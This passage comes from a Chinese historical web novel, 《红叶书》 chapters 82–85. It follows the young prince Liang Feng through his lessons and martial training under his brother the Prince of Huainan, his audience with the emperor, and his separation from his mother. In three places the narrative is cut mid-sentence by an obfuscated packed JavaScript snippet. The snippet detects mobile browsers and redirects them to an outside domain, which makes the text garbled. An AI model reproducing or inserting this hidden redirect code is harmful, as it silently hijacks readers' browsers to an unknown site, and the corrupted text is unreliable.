“父王,您都不抱我。”与丕向二哥张开了手,二哥依顺地也将他抱起来。 梁风仰头看着,见与丕笑眯眯地依偎在梁戟怀中。 这一幕留在梁风脑海的画面里,他只觉梁戟高大得很。 “父亲......”他拉拉二哥衣袖,“二哥,父亲呢?” 梁戟垂眸看了他一眼,把与丕交给下人,挥挥手,周围顿时只剩他和二哥两人。 “阿风,父亲死了。” “死——?” “嗯,就是再也见不到了。” 梁风懵懵然。 “不过,父亲留下了皇位给我们这些兄弟。我们这十几个兄弟里,只有你大哥得到了皇位,阿风,你想不想要皇位?” 梁风眨了眨眼,脆生生说了一字:“想。” 梁戟还是那样笑,摸了摸他的脑袋,“阿风想啊。” “想见父亲。”梁风巴巴地看着二哥。 “父亲如今在皇陵里,没有皇帝允许,我们是不能进入皇宫和帝陵的。阿风想进宫吗?” 他点头,“想。”他又道:“我想见大哥。” “好,既然阿风想,那我们就进宫。”梁戟笑着说:“不过不是现在。当下要紧的,是先教阿风你识字。” 梁风一听开心了,注意力就被转移,嚷道:“识字,我要学!” 往后每日午前,梁戟会亲自教他识字写字。学小学和《篇章》,从如何握笔、如何起笔开始,梁风在纸上涂涂抹抹,二哥不厌其烦,十分耐心。 一笔一画,他第一次在纸上写下梁风二字。 他识的字越来越多,他与二哥越来越亲密,母亲也愈发开心。 午睡后,母亲会带着他和一堆人玩耍,玩的都是以前没见过的新鲜玩意儿,鸠车、陀螺、陶响球......有的他之前在巷子里时见邻居家的哥哥们玩过,但没这么漂亮,更多的他见都没见过。 他玩得非常开心,日子过得目不暇接。 而且慢慢地,他发现,身边这些多出来的人不只是会和他玩耍,而是他去到哪里都会跟着。像是二哥出门时身后总有人跟着一样,他为自己和二哥有相同之处感到开心。只是他觉得奇怪,这些人的后背,好像永远直不起来。 日子一天天过去,阳光好像每天都不一样,在能令他只记得所有欢欣的无忧无虑之下,冬天悄悄来临。 二哥遣人给他送来了炭火和厚衣,他惊奇地发现,原来冬天可以过得如此舒适与温暖,甚至屋子里的地面都是暖和的。这一年冬天,母亲的手不是红的了。 入冬第一个月,正巧是梁戟女儿梁与曦的周岁生辰宴。 宴席上,梁风见到了二哥如今只有四岁的二女儿梁与期和两岁的三子梁与棣。 母亲还告诉他,二哥的第四个和第六个孩子出生几个月都夭折了,让他在二哥面前不要提及早夭子。他懵懵懂懂应是,眼睛牢牢看住二哥抱着与曦的模样。 母亲又跟他说起了父皇。他问,父亲抱着他时,是不是也是这个模样。 母亲说是。 这场宴席他只记住了这个画面,其余吃了什么、看了什么,过了几天全不记得了。 在二哥教他学完了《篇章》时,春天缓缓到来。随着百花绽开,他的字迹也逐步端正。 一天,梁戟放下笔问他:“阿风,想习武吗?” “习武?” “嗯,学会了,可以保护自己,也可以保护他人。” 他没想法,拿不准主意,不知道习武是什么。 梁戟便带他去教场。 淮南王的教场在府外,马车前去,这还是梁风自从进了王府后第一次出府。 到了教场,男人们粗声的呼喝在门外就能听见,一进去,入目是片空旷的薄沙地,四周有木架子、旗杆之类,还有几个男人脱了上衣在对着个木桩子挥拳,身上汗淋淋。 “我尚未离京,不便建演武场,只能建个教场,虽然小了些,但给你和丕儿平时习武还是绰绰有余。”梁戟同他道。 梁风说不出教场是个什么地方,只觉得气味怪怪的,不好闻,但确实不大,还没他的院子大。 “阿风,你年纪还小,此时最适宜习武,便于给身体打下基础。你若是想学,还能有丕儿陪着你。” 他看见沙地中央,梁与丕屁股悬空地半蹲着,表情痛苦,脸上跟那些男人身上一样汗淋淋。 他有些好奇,走近细看。与丕皱着眉眼,朝他吐出一句:“皇叔。” 梁戟道:“阿风,这位是赵将军,往后就由他负责教你和丕儿习武。” 与丕身旁站着一位男人,模样十分奇特,头发、脸庞、胡子和身上的肉都十分粗,梁风第一次见到这种人,不由得一直盯着瞧。 赵将军行了个梁风没见过的礼,喊道:“属下见过先皇十九皇子!” 嗓门之大震得他后退一步,他微微惊到,有点被唬住了,但是想到母亲时刻叮嘱他要在二哥面前好好表现,而且与丕此时的神情有些有趣,他也就留了下来。 梁戟便把他交给了赵将军。 二哥一走,赵将军面上那点尊敬立刻消失,威厉地看着他道:“先皇十九皇子,你便与世子一同扎马步吧,半个时辰!” 原来这叫扎马步。 他觉得赵将军有点凶,只能听话,学着与丕的姿势半蹲着。 然后,他的表情就变得和与丕一样痛苦。 扎完一个时辰,休息一会儿,然后又扎起来。 他身体越发痛苦,但心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839817|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却并没有对这种体验感到很排斥,他说不上来是什么原因,觉得自己只是要听二哥的话而已。 “我们既同岁,那你便不要唤我侄儿了,听起来怪怪的,你叫我世子吧。” 一次休息的间隙,与丕同他说道。 梁风有些开心,仿佛这样的称呼能拉近距离,“好啊,那你也不要叫我皇叔了,你叫我......”他想了想,没想到一个合适的称谓。 “你几月出生的?我是八月。” 梁风忙道:“我是五月。” “哦,”与丕有点不高兴,“那我叫你风兄吧。” 梁风笑了,“好。”但他心里隐隐有点希望与丕像二哥那样唤他阿风的。 下人们给与丕递巾送水,拿着巾帕给与丕擦汗,还将水壶直接送到他嘴边,而与丕动都不动,只在喝水的时候张了嘴。 梁风看着看着,扭头瞧了一眼始终跟在他身后的那些人。他一看过去,那些人突然凑上前也要给他擦汗,梁风没拒,只是有点疑惑。 “那是他们应该做的,他们是下人,是伺候我们的。”与丕似乎看出了他的疑惑,跟他说时还带着他看不懂的神情。 伺候?他还以为这些人只会陪他玩耍的。 他还想多问,赵将军一声大喊,让他们回去继续扎马步。 这天结束时,二哥亲自来接他们回府。知道他们今天扎了几个时辰的马步,二哥大笑着夸奖了他。 “阿风真厉害,记得我当初第一回扎马步时,是远远扎不了这几个时辰的。” 这时他才觉得习武是个颇有意思的事情。 母亲也很赞同他习武,仍是说要他好好习,习出头来,她就会十分高兴了。 之后的日子变成了天不亮时就要去教场,未时才回王府,回到府中他累得不想再玩了,到夜间还得温习学过的字。 二哥给他送来很多好吃的,母亲不住地告诉他那些好吃的有多名贵,要他谢过二哥,要他更加勤奋,才不负二哥对他的栽培。 梁风也的确勤奋。 如此生活重复到盛夏的某一日。 这天,正午的阳光晒得教场的沙地蒸腾起扭曲的热气,他和与丕并排扎着马步,屁股下面有个刺球,双手前平举着一只碗。 眼睛被汗水辣得几乎睁不开,汗湿的衣裳前后紧紧贴着,两臂和双腿没了知觉,仿佛很累,但又无法明确感知到底累在哪里。 他想抬头看看太阳什么时候会斜下去,但脖子都硬得动弹不了。 已经超过了平时扎马步的时限,赵将军却一直未喊停,只远远冷眼看着他们两人。 额间一滴汗滑下,他嘴里尝到了咸。忽然之间,他身体里涌起一股很奇异的感觉。好像有什么东西在骨头里流窜,让他感到一阵痒,接着他发现身上几处关节能动了,意识也更清晰了,身体不再沉重,四肢产生一种强烈想要舒展出去的冲动。只是他分不清,这种感觉是来自于他的身体,还是来自于他的精神。 他觉得自己还能再扎半个时辰。 砰。 空碗砸下,与丕倒地昏迷。 这一倒,惊了周围的下人们,而赵将军仍旧不动声色地看着梁风。 梁风想看看与丕怎么样了,但在赵将军的注视下不太敢动。因为赵将军之前说过,军令不可违,马步扎到说停才能停就是军令。 下人们将与丕抱离降暑,梁风继续端碗蹲着。 又扎了半个时辰,他开始渐渐感到头晕。赵将军终于喊停。 这一次停下之后,不似以往那般一松下就只想躺着的感觉,他还能站着,并且活动筋骨,身上反而有股痛快。 他感觉自己身体出了点变化,说不清楚是什么。他很快抛之脑后,赶回去找与丕。 与丕被送回了府,只是轻微中暑,二哥的大夫将与丕照料得很好。梁风在床前守了守,母亲给他送来一碗绿豆汤,还未喝完时,二哥也来看与丕了。 梁风着急道:“二哥,世子晕过去了,今天不知道为什么,赵将军让我们扎了好久的马步。” “嗯,我已经知道了。”梁戟笑着摸摸他的脑袋,“阿风,赵将军跟我夸你了,说你比丕儿厉害,你做得很好。” 梁风被夸得很开心,目光紧紧追随着二哥。 第二日再去教场,扎了半个时辰的马步后,梁风被赵将军带着去往另一个地方。 新地方竖着几个不到他腿高的小木桩,赵横让他在木桩上跳来跳去。 他和与丕分开了。分开时,与丕有点不太高兴。 83. 《红叶书》(三) 梁风从木桩上掉了下来,摔疼了手肘。 木桩变得愈发小,不够踩,还越来越高,摔下也越来越痛。赵横说是为了练学平衡。 而且每日半个时辰扎的马步,端的不再是空碗,碗里装满了水,赵横还说扎马步时水不能洒出来一滴。 他现在每日回家身上都会带一点小伤,母亲很心疼,会为他上药,帮他吹疼,再仔细包扎好。 他跟母亲保证下次再不受一点伤。 木桩变得越来越细。 当他不再从木桩上摔下来后,赵将军把那二十几个木桩的高矮改成了斜坡式的,最高的几个木桩比他高一个头,下面放了软垫。他可以从最矮的跳到最高的,但下来时往往直接软垫着陆。 “师父,我下不来,木桩要粗一点的!”他站在最高的木桩上喊。 “混账小子,敢提跟我要求?让你下你就下!”赵横回喊。 梁风单脚在桩头立着不动。 赵横走过来,照着木桩踢了一脚,梁风登时不稳,摔了下去。 “这不就下来了?!下不来就多摔几次!” 然后师父不再理他。 梁风心里小小一哼,爬起来,揉揉胳膊,继续跳。 软垫砸出了他的身形凹迹后,又一个冬天来临。 师父撤去了软垫。他感觉到了之前扎马步对他跳桩带来的帮助,他在木桩间旋转跳跃,木桩和他几乎融为一体,如履平地。 赵横一旁看着,发出哈哈大笑。 跳跃时风划过身侧,轻盈和成就的体验令他十分欣喜,他觉得自己开始真心喜欢习武。 梁风脚点木桩,熟练地平稳落地,恰巧看见二哥站在旁边,正注视着他,旁边还有与丕。 他一喜,想迎上去跟二哥说话,却见与丕突然哭着扯住二哥衣摆,一手指着他,不服气地大喊:“父王,凭什么?他明明比我晚的!” 梁戟没搭理与丕,仍是看着梁风,神情渐渐变得认真。 梁风有些无措,好像惹了与丕讨厌,二哥的神情他也分辨不出是否恼他。他有点委屈,躲在一根木桩旁,手指抠着几乎快被他踩磨得光滑的桩面。 二哥走来,拍拍他的肩膀,笑道:“阿风,你做得很好。” 他瞬间变得开心,“嗯!” 还想二哥再多夸夸他,梁戟却转身和赵横说话去了。梁风又看向与丕,与丕的眼泪还没擦干净。 他走过去,梁与丕一下便止住了泪,拿袖子狠狠抹脸,瞪着他道:“我会超过你的,哼!” 梁风讪讪停步,不知该怎么说话。 年末时,王府里发生了一件喜事。 梁戟多了一个儿子,第七子,起名梁与義,跟与曦是同母所生。 梁风看那小宝宝,小小的、软软的,有点丑,十分稀奇。 同时,他也好奇,二哥有这么多的孩子了,而父亲的孩子更多,他是第十九个,父亲有十九个孩子呢。 这么多,能全部记住吗? 他有十来个玩具都非常多了。 他心里记住了这个疑问,很想问问二哥,但是有点不敢。 他继续在木桩上跳跃。 年后,赵横安排了新的训练,是练力气的。除举重外,还说要把一根比他粗、比他高的木柱子用拳头打断,也就练成了。 他惊呆。但还是照做。 每日练完,他手累得连笔都举不起来,写的字也歪歪扭扭,但还是照写。 冬春换季之时,与丕有一日没来练武,病了。母亲带着他去看望与丕。 与丕坐靠在床上,床头放着药碗,手里拿着一卷薄册子。 “世子,病着就不要看书了。”母亲说。 梁与丕看着书,头都不抬,也没做声。 梁风凑近看与丕手里的书,问:“世子,你这是在看什么?” “《九九》。” 他看了一眼,发现自己好像有字不认得,便伸长脑袋,仔仔细细看了一页,再把脑袋缩回来,道:“看不懂。” “看不懂?你没学过么?”与丕道:“这是《篇章》中的一篇,父王不是在教你小学和《篇章》吗?” “这篇好像没学过,二哥教了我《六甲》和《急救》。” 与丕转眼珠子,仿佛听到了一个有趣的事情,“小学里还有《史籀》《仓颉》《凡将》这几篇呢,《九九》是算术的。”与丕扬起了下巴,“你没学过吧?” 梁风茫然地摇摇头。 “哦对了,父王还教我读过几句《孙子兵法》呢。” “孙子?” 与丕脸上一振,对旁边的人道,“把那书取来。” 下人取来书,与丕将书递给梁风,“你看,就这个。” 书页上梁风只认得“孙子”两个字。 “怎么样?我读的书是不是比你多?” 梁风眼睛从书上移开,看向他,慢慢点头。 与丕笑了,拍拍他肩膀,“不要紧,你书读得晚,慢慢学吧。” 梁风有一点不知从哪里来的着急,“那你知道这是什么意思吗?” 与丕一愣,“呃......” 梁风随便一翻,指着书上某段问:“你看这句是什么意思?” 他指的一句是:百战百胜,非善之善者也;不战而屈人之兵,善之善者也。 “呃,就是......”半晌说不出来,与丕可惜地丧气,“我也不知道。之前父王教我读过一句,可我不记得了。” 邓氏道:“世子别急,多看几次,总能记着的。” 梁风记下了这书封皮的样子,把它放了回去。 之后两日,梁风将玩耍的时间都用来看望与丕,并趁机翻看那本“孙子”。 他心里隐隐知道,自己这么殷勤地去看望与丕,并不是真的有多关切与丕的病情,也不是想看明白《孙子兵法》里写的是什么内容,他只是想知道为什么二哥会让与丕看的书却没有让他也看。 他在纸上抄下最初指过的那一句话,拿去问了赵横。 师父看了,挑眉道:“《孙子兵法》?小小年纪,你看得懂吗?” 梁风摇头,“看不懂。” 师父念了一次,梁风立刻跟着念,师父问他:“想知道是什么意思?” “想!” 师父随手将那张纸扔掉,道:“去跳一遍桩我看看。” 梁风去利索地跳了一遍。 师父说:“将这桩想成你的敌人或你的对手,我问你,你如果饿着肚子,很饿很饿,你还能跳桩吗?” 梁风想了想,摇头。 “你如果没了鞋子,且没银钱买新鞋,只能光脚跳,木桩会磨伤你的脚,你还能跳桩吗?” 梁风又想,接着脑袋试探地摇了摇。 “木桩是死物,若换成活人,换成与你对战的敌方,令你饿了肚子,令你失了鞋子,你也就跳不了桩了,这就是不战而能够退却敌人的兵。” 师父道:“在战场上,粮食与武器装备是重中之重。你如果是木桩,有人想跳你,不管是粮食、兵力、口舌或钱财,你若能不战而除掉对方凭借与你作战的一切,你就是善之善者了。” 师父最后这一段话说得没让他完全听懂,梁风看看桩群,又看看师父,说道:“师父,我如果很饿很饿的话,我就不能跳桩了,但我如果只是没了鞋子,我还可以跳,光脚跳。” 师父哈哈大笑,“那你便懂得什么叫置之死地而后生了。” 师父问:“先皇十九皇子,你想不想学兵法?” 与师父的这几句对话没有使他感觉自己对兵法产生了兴趣,他更喜欢跳桩的体验,于是扭头跳去了,大声地答:“不知道!” 赵横看着他微微一笑。 很快,与丕病愈,也开始跳桩了。跳的是梁风之前跳过的那些矮桩。 与丕跳了两天,摔了几次,也跳得顺当了,于是指着梁风脚下的高低桩道:“我要跳这个!我可以!” 赵横让人将之前那张软垫拿了来,上面还留有梁风摔成的屁股印子。 木桩上便多了一个跳跃的身影。梁与丕每日也开始负轻伤回家。 梁风挺开心的,热热闹闹。 春天正盛时,梁戟有一日亲到教场,观摩他们习武。 梁戟和赵横坐在教场外围,大伞覆下凉荫,手边喝着茶。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839818|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你是说,他上次来向你求问过兵法?” “是。《孙子兵法》谋攻篇。”赵横一顿,再道:“不过当时,先皇十九皇子似乎并未对兵法产生兴味。” 梁戟放下茶盏,沉沉目光看向那挥拳的身影。 梁风正在专心打拳,四肢绑了小沙袋用于负重,那根柱子还远远不能够被打断。 与丕突然大喊:“风兄,我想与你比试比试!” 梁风被骤然停住,愣道:“什么?” “我们就比谁能更快地将这些木桩踩一遍!” 梁风不解,“为什么要比?” 梁与丕看了一眼梁戟,再对他道:“师父说过,练得好了就可以比试。” 梁戟坐在一旁静静喝茶,没有出声。 梁风也看了二哥一眼,不知与丕为什么突然提出比试。 “反正我就是想比。我让师父燃香,记上时辰,来吧!”与丕不理梁风反应,转身去让下人取香。 赵横见状高声道:“世子既然想比试,不如就以谁在一炷香的时辰内在桩上跑的圈数最多为胜,这样体力、耐力、技巧全比上了。” “这样好!”与丕朝梁风兴奋道:“我们听师父的!” 梁风又看了眼二哥,心里不太喜欢与丕这样比来比去的,便偷偷问与丕:“我们不要比好不好?” “为什么?”与丕睁大了眼睛,大声道:“我想向父王展示我新学的武艺!” “可是你还跳不好。” “你胡说!我跳得比你好!” 梁风被他这拔高的嗓音震缩了一下,但仔细一想,又把话顶回去,“可是师父说了,我们要做善之善者。” “那是什么东西?你是怕了!” “我没有怕!只是师父说,能不打的仗就不要打。” “傻子!我们又不是在打仗,我们是比试跳桩!” 梁风小脸焦急地皱在一起,心里想的话不知道该怎么才能说出来,只能求助地看着师父。 赵横却不插话,梁戟也默默旁观。 与丕立刻喊道:“师父,点香,你来说开始!” 梁风再看了眼二哥,最后索性一捋袖子,“比就比,我也不怕你,我肯定比你跳得好!” 他和与丕走到桩群前面做准备,梁风接着道:“只不过,你跳得好了,二哥会夸奖你,但你如果没跳好,二哥说不定以后就不来教场看我们了。” 梁与丕一愣,本能朝梁戟看去,梁戟却在看着梁风。 梁风自己这么一说,倒也发现了什么,说道:“这几天都很少看到二哥呢,二哥好久不来教场了。” 梁与丕再次一愣,踌躇起来。 梁风催促:“快点,你先还是我先?” “那、那就......不比了吧?” “哈?”梁风很奇怪,“你自己说要比,现在又说不比?” 与丕眼神心虚一躲,继而高喊:“我不管!要比是我说了算,不比也是我说了算!”喊完走到旁边去,远离木桩。 梁风有些莫名其妙,不过知道不用比试了,便开心地和师父说:“师父,我是不是善之善者了?” 赵横没说话,看了看梁戟。 梁风没得到回应,但是觉得自己做得对,顾自再喊:“我是善之善者,我是善之善者了。” 与丕听得莫名,“你在喊什么?” 梁风感觉到二哥的目光,他也朝二哥看去,见梁戟眼中微现惊诧,他一时很开心,在木桩上蹦蹦跳跳。 “我是善之善者了!” 与丕也发现父王始终注视着梁风,大叫:“你在喊什么!” 梁戟端坐着放下茶盏,问:“他这是学语,还是真的有所领悟?” 赵横道:“属下不知,单凭皇子这几句话来看,难以判断,还需再试。” 梁戟目光追随着梁风上下的身影,惊诧的眼神逐渐变得沉笃。 梁风知道二哥的眼睛在追着自己,越跳越兴奋,他不知道二哥这个眼神的含义,但会下意识地为这个眼神感到开心,并想为这个眼神付出更多。 只有与丕独自站在木桩下朝他大声呐喊:“你在!喊!什!么!” 84. 《红叶书》(四) 伴随梁与丕愈发卖力地习武,梁风不知不觉中在淮南王府住满了两年。 这日盛夏夜里,他在房中练字,听见二哥来看他。 “二哥,你看我练的字,有没有长进?”他急急将字帖呈上。 梁戟随意看了看便道:“阿风,收笔时直接提笔即可,不用做一顿。” 他没听太明白,低头盯着自己的字。 梁戟将字帖放桌上,接着说:“阿风,父皇的三年孝期已满,我要去封地了。” 梁风愣住,“你要走了?” “嗯,我要走了。”梁戟摸着梁风头顶,“阿风,愿意跟我一起走吗?” 他顿时眼睛亮起来,急扑到二哥身上,抓住二哥衣袖,“愿意!我和你一起。” “好啊,那我们便一起。”二哥柔柔地笑着。 “那......那还会回来吗?” “会。” “那还住在这里吗?” “当然不是,住宫里。” “那我院子里的人会一起走吗?” “你若想带着他们的话,便一起。” “好!”梁风笑起来。 “不过,阿风,”梁戟也仍笑着,从眼神到嘴巴都笑得温温柔柔的,“皇帝想见见你,说是想见见你这个最小的弟弟,你明日想不想进宫去看看?” “皇帝?”梁风不知道该怎么说,睁着眼睛呆呆看二哥。 “就是你大哥。还记得你刚到王府时说的话吗?你说你想见大哥。” 梁风不记得了,但是听到“大哥”,还是笑了起来,用力一点头,“想!” “好,那明日申时我带你进宫。” 翌日,梁风早早醒来,早早去找梁戟,为入宫兴奋地做准备。 “二哥,大哥跟你是一样的吗?” “自然不一样,但也差不多,他不过比我早出生一个月。不到一个月。”梁戟笑道:“进了宫后就不能叫大哥了,要叫‘陛下’。叫我也不能叫二哥了,要叫淮南王。” “闭下?” 梁戟在纸上写给他看,“就是这两个字。” 第一个字他看一眼没记下来。 “阿风,见到陛下要先行礼,不可胡乱说话,记得别离我太远。”梁戟临时教给他入宫礼仪,再叮嘱:“如果陛下单独留下你说话,你切记不要告诉大哥我在让你习武。” “为什么?” 梁戟笑,“等我们去到封地后我再告诉你。” 梁风开心起来,“那母亲能进宫吗?” “嗯,邓氏也去。” 他与二哥坐在同一辆马车里,母亲跟在后面。梁风心里十分期待,在马车里难以坐定,总不时掀帘去看到了没有。 当穿过那恢弘的宫门和两侧望不到尽头的围墙,梁风惊叹一声,“二哥,父亲就是住在这里吗?” “是啊,皇帝就是住在这里。你小时候应当在这里住了几年,不记得了?” 他摇头,“哇,那宫殿好大!在外面见不到那样大的房屋呢。” “阿风喜欢吗?” 他望着那大房子眨眼,想了一会儿,然后摇头,“不想住,这样大的宫殿要好多人才能住满,我院子里没有那么多人。” “能住在这样的房子里,全天下的人都是你的,何愁住不满?” 他盯着殿宇,还是摇头,“我喜欢小房子,容易住满的。” 梁戟不再应话,满意地看着他。 抵达下车。梁风看着面前为二哥和他带路的人,这人手里抱着根木棍,棍子的一头像马匹的尾巴。 这人带他们进到一间屋子。殿内宽阔凛然,肃穆不可犯。 梁风感觉到了气氛的庄严,他不敢大声说话,脚步都不由自主放轻了。 屋内上首坐着一名男子,全殿的庄严气氛都在来自于他身上,和他看人时的眼神。 梁风一看见便牢牢盯住不放,只觉大哥那张脸跟二哥和师父的有些不一样,让他有种说不出来的感觉,但他心里涌起一股来自血液里的亲切。 梁戟下拜行礼,“臣参见陛下。” 梁风忙跟着一起。 梁究免礼,召梁风近前,“淮南王你退下吧,朕与十九弟说几句话。” 梁戟微顿,垂眸看了眼正抬头望他的梁风,还是礼道:“是。”然后退下。 梁风想上前靠近大哥,可这间屋子里的氛围让他有些不敢。梁究笑着看他一眼,梁风登时得了眼神的指引,走上前喜道:“大哥。” 话出口,梁究刚才还柔和发散的眼神忽然凝聚,盯他。梁风立刻一怯,脚步变慢,不敢再前。 他好像做错了,他想起二哥的叮嘱,改口道:“陛下。” 梁究表情不变,眼神转而变和,挥手招他上前。梁风便慢慢踱过去,心里觉得大哥和二哥很不一样。 “十九弟,你如今住在淮南王府,读书识字是何人教你?淮南王为你请的是哪位夫子?” “夫子?”梁风没听懂,只听懂了读书识字,“淮南王在教我识字,教我小学和《篇章》。” 梁究停了一下,仔细看着他,然后道:“旁的没有教了?” 梁风下意识想说习武,但想到二哥的叮嘱,又把嘴闭上。 梁究见状,露出一点点笑,“不要怕,你说。” 梁风摇摇头。 “是淮南王让你不要说的?你不用怕,可以告诉朕。”梁究手掌搭上梁风肩膀,以亲近之态做鼓励。 梁风心里却在想,不知道大哥说的“正”是什么意思。 梁究的目光下滑到梁风肩膀上,随即手掌又下滑到梁风的大臂上,接着神色不变地缓缓收回了手。 “我不知道。”梁风惦记着进宫前就想问的问题:“陛下,父亲呢?” 梁究眼睛又看向他,“你是说先帝?” 他没说话,目不转睛地看着大哥。 梁究似笑非笑,“住在这个宫殿里的人不是父皇,而是皇帝,是一国之君。十九弟,先帝已逝。” 梁风没听懂,皱了一下眉,“是什么?” 梁究端详他一眼,疑惑转瞬即逝,道:“淮南王似乎未把你教好。”边说边执笔,在纸上写下一字,给梁风示意,“逝,是这个逝,就是去世,离开人世的意思。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839819|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“去世?父亲去了哪里?” 梁究再次正视他一眼,极缓地露出一笑,“十九弟,淮南王是如何与你说父亲的?” 梁风直接道:“二哥说,父亲死了。” “二哥......”梁究表情未变,放下笔,“是啊,父亲死了。死,就是去世的意思。” 梁风眨眨眼,好像懂了什么,好像没懂,但知道自己心中的希冀慢慢消下去了。 “十九弟,你二哥跟联请旨,请求照顾你一段时日,否则不愿离京赴藩,并说你如今年纪尚小,提议待你成年后再行赐封,你意下如何?” 梁风没听太懂。 “联却觉得,你母亲也可照顾你。” 他听不懂大哥在说什么。 “你想不想留在宫里?” 梁风立刻摇头,“我想和二哥一起。” “你想与淮南王去越国?” “嗯。” “越国路远,东南地荒,邓氏同去未免劳顿,不如就让她住在宫里吧,待你十五岁进京接受封王圣旨时,朕再让邓氏与你同去往封地。” 梁风没明白。 梁究换了说法:“你娘亲留在皇宫里,你独自与淮南王去越国。” 梁风一惊,“为什么?母亲不能一起去吗?” “不是她不能去,而是她只能待在京城。” 梁究向下人示意,旁边的太监高声一喊,邓氏就被带进来。 梁风眼见母亲行了礼,然后站在下首,也不走过来,甚至不看他。 他心里涌起不好的感觉。 “母亲。”梁风跑去母亲身边。 邓氏一笑,蹲下身,两手握着梁风肩膀,“风儿,你要听陛下的话,母亲在这里等你回来。” 梁风焦急地抓住母亲的衣服,无措地看着她,希望母亲能把刚才的话收回去。他又看看大哥,大哥没有表情地盯着自己。 梁风内心越来越着急,想让母亲一起走,但隐约知道没人会听他的,想找个人帮他把心里想的话说出来,可是找不到。 “风儿,你记着。”邓氏捧着梁风的脸,让梁风直视自己,“你记着,淮南王往后定会多加照顾于你,他会为你请夫子,夫子会为你教书,你不要忘了淮南王对你的恩情。但是,你更要记着,能允许你与淮南王同去的人是陛下,能让你和二哥一直在一起的人是陛下,你更要好好感谢陛下。往后的几年里,淮南王在越国做了什么事情,你需一一记在心上,若有人问起,你只管答复便是,不许你为淮南王遮掩隐瞒。” 梁风眼泪流出来,只觉母亲这番话像是临别叮嘱,往后再见不到似的。 邓氏站起来,朝皇帝一礼,然后退至一边,最后看了眼梁风。梁风大哭起来,被太监半拖半拉地送出去。殿外的梁戟已等了许久。 梁风抽泣着,哭得止不住。 梁戟背光站立于月台下,抬头看着这座未央宫。 傍晚的阳光拉长他的影子,他眼中所见至高无上,宫墙重重。未央宫大,一眼望不下。 梁戟低头,拍着梁风肩膀。 “阿风,走吧,我们会再回来的。” 85. 《红叶书》(五) 太和三年,梁风八岁,随淮南王去往越国。 浩浩荡荡一行车马行过京畿,他趴着车窗向来时路眺望,远处京城上方的天空仿佛出现了母亲的身影。 “母亲在宫里会过得好吗?”他问。 梁戟告诉他:“邓氏在宫里能不能过得好,取决于你在越国是否听话。” 他该听谁的话?梁风扭头看二哥道:“我一定听话。” 二哥一笑,“阿风很想念母亲吗?” “想......” “这是自然,你才八岁,你当然会想念母亲。” 梁风在二哥身边坐好,道:“二哥,你会想念你的母亲吗?” “我的?” “嗯,二哥的母亲是父亲的前皇后。” 梁戟笑,“这个你都知道?丕儿和你说的?” “二哥你会想她吗?” “我在你这个年纪的时候会,现在很少了。”梁戟道:“阿风,你喜欢大哥吗?” 梁风低下头想了想,试探着说:“不知道。”他好像喜欢,又不喜欢。他和大哥玩得不多。梁风又抬头问:“二哥,我们其他的兄弟姊妹呢?我都没见过。” “其他兄弟姊妹?”梁戟有些意外,没想到梁风会问这个,“除了我和你大哥,其他人要么早死,没活成,要么给出去和亲了,剩下的也不比你大多少。” “我能不能见到他们?”梁风道:“世子有好多兄弟姊妹。” “他们都在各自的封地,朝贡时可以见一面。” “朝贡?” “嗯,朝贡。这些事情,以后我会请夫子专门教你。” “夫子?” “就是教你读书的人。赵将军教你习武,夫子教你读书。” “二哥你不教我了吗?” “我教的不如夫子好。除了夫子,我还另安排了人放你身边照顾你,以代替你母亲。” 他身边又有人了,梁风心里期待起来。 一路走走停停行了三月,终于在这年秋天的尾巴抵达越国丰杭郡檀宫。 一如他离开未央宫时是傍晚,踏入檀宫时也是夕阳为他铺路。 檀宫上下早有仆从打扫换新,梁戟亲指长风殿为梁风寝殿。 长风殿如其名,一股风吹过来能长长地吹,他从殿内一角走到另一角能走好几息的时间,就差用跑的了。 入住当天,除了从淮南王府跟过来的,二哥还给他殿里遣来了好多人,都是十几岁,模样清秀,适合与他玩耍,长风殿里一下热闹起来。遣来的人里年纪最大的是四十五岁的李晟,做梁风的管家。 李晟说,从此就由他来照顾梁风的日常起居。梁风仔细盯着李晟,揪了揪老李的胡子,笑着说好。 然而,初到丰杭,没来得及享受当地美食和美景,梁风就因为水土不服而病倒了。 三天上吐下泻,一天高烧,两天低烧。他迷迷糊糊躺在床上,是李晟衣不解带地照顾他。 好不容易病好了,冬天也来了。 年末是梁戟第七子梁与義的周岁宴,又逢开年初檀宫大摆筵席。梁风病愈后好好地玩了两月,在民间大开眼界,杂耍艺人、舞龙舞狮、画舫灯海,长风殿里几乎堆满了他从各处买来的小玩意儿,他还特意分出一部分想要留给母亲。 冬天快要结束时,他见到了鲁夫子。 梁戟专为王子们开设了学堂,除了梁风,鲁夫子还负责教授梁与丕、六岁的梁与期和四岁的梁与棣。 与丕还因为换了个夫子,发了几天脾气。 